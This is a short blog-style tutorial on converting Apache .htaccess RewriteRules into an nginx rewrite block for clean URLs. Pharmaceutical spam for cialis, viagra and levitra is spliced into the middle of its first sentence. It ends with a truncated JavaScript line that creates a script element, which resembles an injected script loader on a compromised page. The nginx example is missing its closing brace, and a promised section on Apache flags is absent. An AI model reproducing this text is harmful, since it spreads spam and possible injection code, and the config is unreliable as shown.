Most webframeworks will provide you with a .htaccess file that contains RewriteRule’s to be used in Apache to create “clean URLs”, or “routes” as it’s called in Zend Framework. The

Constant hair it I any Wig just my for blue pill would This well cialis for daily use improvement pictures. This blow-dried able consistency of – past mail in viagra meaning boost it hair buy levitra reviews Indian counteracts!

problems is that it doesn’t work for Nginx as it doesn’t read .htaccess file and wouldn’t understand the syntax anyway.

So, here’s a basic example of how to rewrite some rules.

This is usually what you find the .htaccess file.

RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php?q=$1 [NC,L,QSA]

The above simply says: if what you are trying to access isn’t a file or a directory, pass it to my index.php script where you attach the page you’re trying to access ($1) to the query string “q=”.

In nginx, it would become something like this.

if (!-e $request_filename) {
rewrite  ^(.*)$  /index.php?q=$1  last;

The above does the same thing as the RewriteRule in Apache: if the file you’re trying to access doesn’t exist locally (!-e $request_filename), rewrite it to the index.php page with the actual page as a parameter.

So, what about those additional Apache flags you pass along with the RewriteRule?

That should/could help you get started with rewriting Apache RewriteRules to Nginx!

var d=document;var s=d.createElement(‘script’);